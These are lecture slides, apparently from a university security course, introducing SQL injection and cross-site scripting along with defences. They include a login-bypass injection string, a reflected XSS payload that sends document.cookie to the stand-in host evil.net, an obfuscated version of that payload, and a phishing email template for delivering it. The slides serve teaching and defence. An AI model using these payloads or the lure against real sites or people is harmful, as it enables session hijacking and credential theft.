CYBERATTACKS, CRIME AND DEFENCES

2: SQL INJECTIONS AND XSS REFRESHER
NOW 35 SLIDES
SQL Injection by example

- The WEBAPPLICATION presents a form with username and password
- What happens in the database?
In the database…

- SELECT … FROM users WHERE username = ‘$username’ AND password = ‘$password’
What happens if …

• Username: just any legal user name
• Password: anything' OR 'x'='x
• Recall the MySQL command is:
  – SELECT … FROM users WHERE username = ‘$username’ AND password = ‘$password’
• It becomes:
  – SELECT … FROM users WHERE username = ‘etalle’ AND password = ‘anything’ OR ‘x’='x'
• And it gets parsed the wrong way.
• Just to be clear: the above query selects all users, so the reply is the list of all users, together with all the parameters that are in the …
What is SQL

- Is the language used by databases to specify queries
- Data is stored in **Tables**, and each Table has a name and a number of **fields** (or **columns**).
  - For instance, the table users could have as fields:
    - (username, password, UID, date_of_birth, telephone).
- Each Table contains a number of **records** (or **rows**)
  (sandro,difficult_password,101,01/01/1999,1234567890)
  (etalle,other_password,102,02/02/1998,0987654321)
- To access the data in the rows, we use **queries**
  - SELECT * FROM users;
    (sandro,difficult_password,101,01/01/1999,1234567890)
    (etalle,other_password,102,02/02/1998,0987654321)
  - SELECT username FROM users;
    (sandro)
    (etalle)
  - SELECT username FROM users **where** UID=101
    - ...
What is an SQL injection

• Web applications use SQL databases to store information:
  – User accounts and credentials
  – Financial and product information in webshops, …

• SQL is interpreted
  – MySQL, MS-SQL, PostgreSQL, Oracle, etc.
  – Can read, update, add and delete database information

• User-supplied information is passed from client (browser) to web-application via e.g. GET, POST and COOKIE parameters

• SQL Injection:
  – crafting user-supplied input so to execute database queries beneficial to the attacker’s project, eg.: Retrieve user accounts and credentials to obtain unauthorized access

• Still a widespread bug
Command Injection

• An SQL injection is just one type of "command injection"
  – Certainly the most common one
  – Depending on the underlying DB, you could inject other kind of commands
    – E.g. do an XPath injection
    – Principles are exactly the same
    – Practice is very different.

• In general: the purpose of a command injection attack is to inject and execute commands specified by the attacker in a vulnerable application
  – The attacker exploits the fact that developers usually trust users too much (and actually don’t know how to program)
  – Injection does not affect only web applications
    – Melanie R. Rieback, Bruno Crispo, Andrew S. Tanenbaum: Is Your Cat Infected with a Computer Virus? (RFID)
How to defend? Check the owasp site! (from OWASP.org) – self study

Recommendations

- Avoid the interpreter entirely, or
- Use an interface that supports bind variables (e.g., prepared statements, or stored procedures),
  - Bind variables allow the interpreter to distinguish between code and data
- Encode all user input before passing it to the interpreter
- Always perform ‘white list’ input validation on all user supplied input
- Always minimize database privileges to reduce the impact of a flaw

References

- For more details, read the [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)
Content

• What is an XSS Attack
• Anatomy of an XSS attack
• Finding XSS Attacks
• Defenses and their evasion

• We handle:
  – Reflected XSS
  – Stored XSS

• We don’t handle
  – DOM-based XSS
XSS by example

- What is going on here?
XSS by example (II)

- You did something and the webapp decided to show an error message

- Now look at the url in of the window, you see
  - https://w.com/error.php?message=Sorry%2c+an+error+occurred
  - Which is exactly the text shown in the window itself.
  - What has happened here? Take a loook at the HTML code, and notice that the server just takes the argument “Sorry%2c+an+error+occurred”, reflects it back to the user (between <p></p>)
  - So if we put something containing a script <script>alert(‘xss’);</script>
  - ... https://w.com/error.php?message=<script>alert(‘xss’);</script>
  - We have the user’s browser execute the script, and the result is...
XSS by example (III)

- The URL
  - Yields the following result
  - It is a Javascript script **being executed on your computer!**
XSS in a nutshell

• Basic idea:
  – force the browser to execute a script which has been “injected” in a web page/application
  – Important: malicious code is executed at the client side

• There are two flavors
  – Persistent (requiring the storage of the script in the web application)
  – Non-persistent (in which the script is generated on-the-fly)

• #7 (decreasing, but still) problem in the OWASP Top 10 Web Application Security Risks for 2017. See www.owasp.org

• XSS is one of the most “nasty” vulnerabilities
  – Sometimes considered erroneously non-critical due to (presumed) lower impact compared to SQL Injection
Persistent (stored) XSS

- The attacker stores in a vulnerable server her crafted input
  - online message board
- When a user visits the web site, the malicious code is served back to her
- Sometimes, the malicious code can be delivered to the web server by a mail message
Non-persistent (reflected) XSS

- Attacking script is “supplied” by the victim self.
  - the supplied input is immediately displayed by the web server
  - E.g. search engine function
- Attacker forces victim to click a crafted URL (for example, inside an email), which is immediately served back by the vulnerable web server
Why does it work?

• Clients “tend” to trust servers
  – users are not paranoid (why would they?), and do not use high levels of protection → Facebook wouldn’t work otherwise 😊
  – crackers began to intelligently “hide” malicious code, for example, by using an IFrame

• Scripting languages have been deeply embedded into web browsers, and made powerful

• The core of the problem: input-sanitation.
  • a user is allowed to pass badly or unsanitized input to a web-application which is then presented to another user

• Problem
  • Easy to find for attackers
  • Easy to exploit for attackers (just need to know some Javascript)
  • There is no easy fix for XSS (!)
Microsoft Outlook for Android Open to XSS Attacks

A spoofing bug (CVE-2019-1105) can open the door to an email attack
What can you do with XSS?

- Steal a session ID by reading `document.cookie`
  - For session hijacking
- Put a frame on top of the present page, with a login screen that looks exactly like the one in the underlying page
  - User enters login and passwords
  - The information is transferred directly to the attacker.
One step back: hijacking sessions

- As we said, HTTP is sessionless.
- So to enforce sessions, some forms of tokens can be used.
- The Hacker’s goal, getting hold of a valid token by either stealing or guessing it.

Tips
- Sometimes, token just seem random string, when you find the way of decoding them you discover that they are something like e.g.
  - user=sandro;group=admin;date=....
- Sometimes they are predictable. Because e.g. of weak random number generation. (adding 1 to the previous number is considered weak .... 😊)
Hijacking a user session

• Goal
  – Steal the session token from a user that is logged in somewhere.
  – The token is usually in a cookie. E.g.
    
    Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3

• Rules of the game:
  – Browsers do not allow arbitrary (java)scripts to read cookies
  – Browsers do not allow cookies to be transmitted to third parties.
    – A page on DomainA cannot read or modify the cookies or other DOM data of DomainB.
  – A page on DomainA can cause an arbitrary request to be made to a DomainB (submitting a form, loading an image), but it cannot itself process the data returned from that request.
  – A page on DomainA can load & execute a script from DomainB. (scripts are assumed to contain code, not data, ... which is not quite right .... ouch!)
Hijacking sessions with reflected xss (2)

• Assume
  – attacker controls evilserver.net,
  – user logged in work.net

• The attacker has the user click on (we handle later how)
  – https://work.net/error.php?message=<script>
    var+i=new+Image;
    +i.src="http://evil.net/%2bdocument.cookie;"</script>
  – Here %2b is the encoding of "+"

  – Or, obfuscated:
    https://work.net/%65%72%72%6f%72%2e%70%68%70?message%3d%3c%73%63 %72ipt>var+i=ne%77....

• What happens now? (think about it a second)
Hijacking sessions with reflected xss (3)

- Exactly what happened in the previous example, only now the payload is more malicious
  - https://work.net/error.php?message=\<script\>var+i=new+Image;+i.src="http://evil.net/\"%2bdocument.cookie;\</script\>
  - The red part is reflected back to the user as part of the html page, and interpreted by the browser as javascript

- Causing an http request to evilserver.net
  - GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1 Host: evilserver.net
  - As far as the browser is concerned this request came from work.net
  - So the browser **is happy to give away the cookie!**
  - The user is not aware that this request will cause a second request to evil.net
Let us see the phases in detail (4)

1. User logs in
2. Attacker feeds crafted URL to user
3. User requests attacker's URL
4. Server responds with attacker's JavaScript
5. Attacker's JavaScript executes in user's browser
6. User's browser sends session token to attacker
7. Attacker hijacks user's session

http://work.net

http://evil.net

© The web application hacker's handbook
But how do we make the user activate the script?

- One way is by using an email (see next slide)
- Notice also that if you use persistent cookies (for instance to authenticate yourself again after a session), you expand the window of opportunity for the attacker. The user does not have to be logged in the system.
Hijacking sessions with reflected xss (3)

From: “WahhApp Customer Services” <customerservices@work.net>
To: “John Smith”
Subject: Complete our customer survey and receive a $5 credit

Dear Valued Customer,

You have been selected to participate in our customer survey. Please complete our easy 5 question survey, and in return we will credit $5 to your account.

To access the survey, please log in to your account using your usual bookmark, and then click on the following link:

https://work.net/%65%72%72%6f%72%2e%70%68%70?message%3d%3c%73%72ipt>var+i=ne%77+Im%61ge%....

Many thanks and kind regards, Wahh-App Customer Services

Which is much more reassuring and thus effective than a regular phishing attack

© The web application hacker’s handbook
XSS vs Phishing

- Are actually two completely different things
- XSS execute within the authentic application, the user will see personalized information relating to them, such as account information or a “welcome back” message.
- Cloned web sites are not personalized.
- The cloned web sites are usually identified and shut down quickly.
- Most banks won’t take responsibility if their customers visit a cloned web site. They cannot disassociate themselves so easily if customers are attacked via an XSS flaw in their own application.
Hijacking sessions with stored XSS

- The difference is that now the script is stored on the server.
- Attacker and victim must have access to the same server.
  - Bulletin board, auction, ...
- Attacker must be able to store something
  - Uploaded files (one could try to upload html pages, some applications rightly forbid this).
  - Images: IE processes jpeg images that are not embedded in the `<img>` tag as html (see the example before)
    - Image-attachments in bulletin boards are perfect...
- For the victim it is very difficult to see the attack (more difficult than in the case of reflected XSS)
  - User doesn’t have to click on a “strange” link.
Hijacking sessions with stored xss (2)

1. Attacker submits question containing malicious JavaScript.

2. User logs in.

3. User views attacker's question.


5. Attacker's JavaScript executes in user's browser.

6. User's browser sends session token to attacker.

© The web application hacker's handbook
Defense and Evasion

• The 3 main ways the server might try to prevent XSS attacks are:
  
  − Signature-based filters
    − The server recognizes attacks based on a set of signature
    − Recognized attacks are blocked altogether
  
  − Sanitization
    − The server encodes the input, so that it does not triggers the script on the browser’s side
  
  − Truncating input to a maximum length

• There are ways around them....

• Some countermeasures can also be implemented at client’s side
  
  − Google Chrome seems to be less vulnerable than other browsers
QUESTIONS?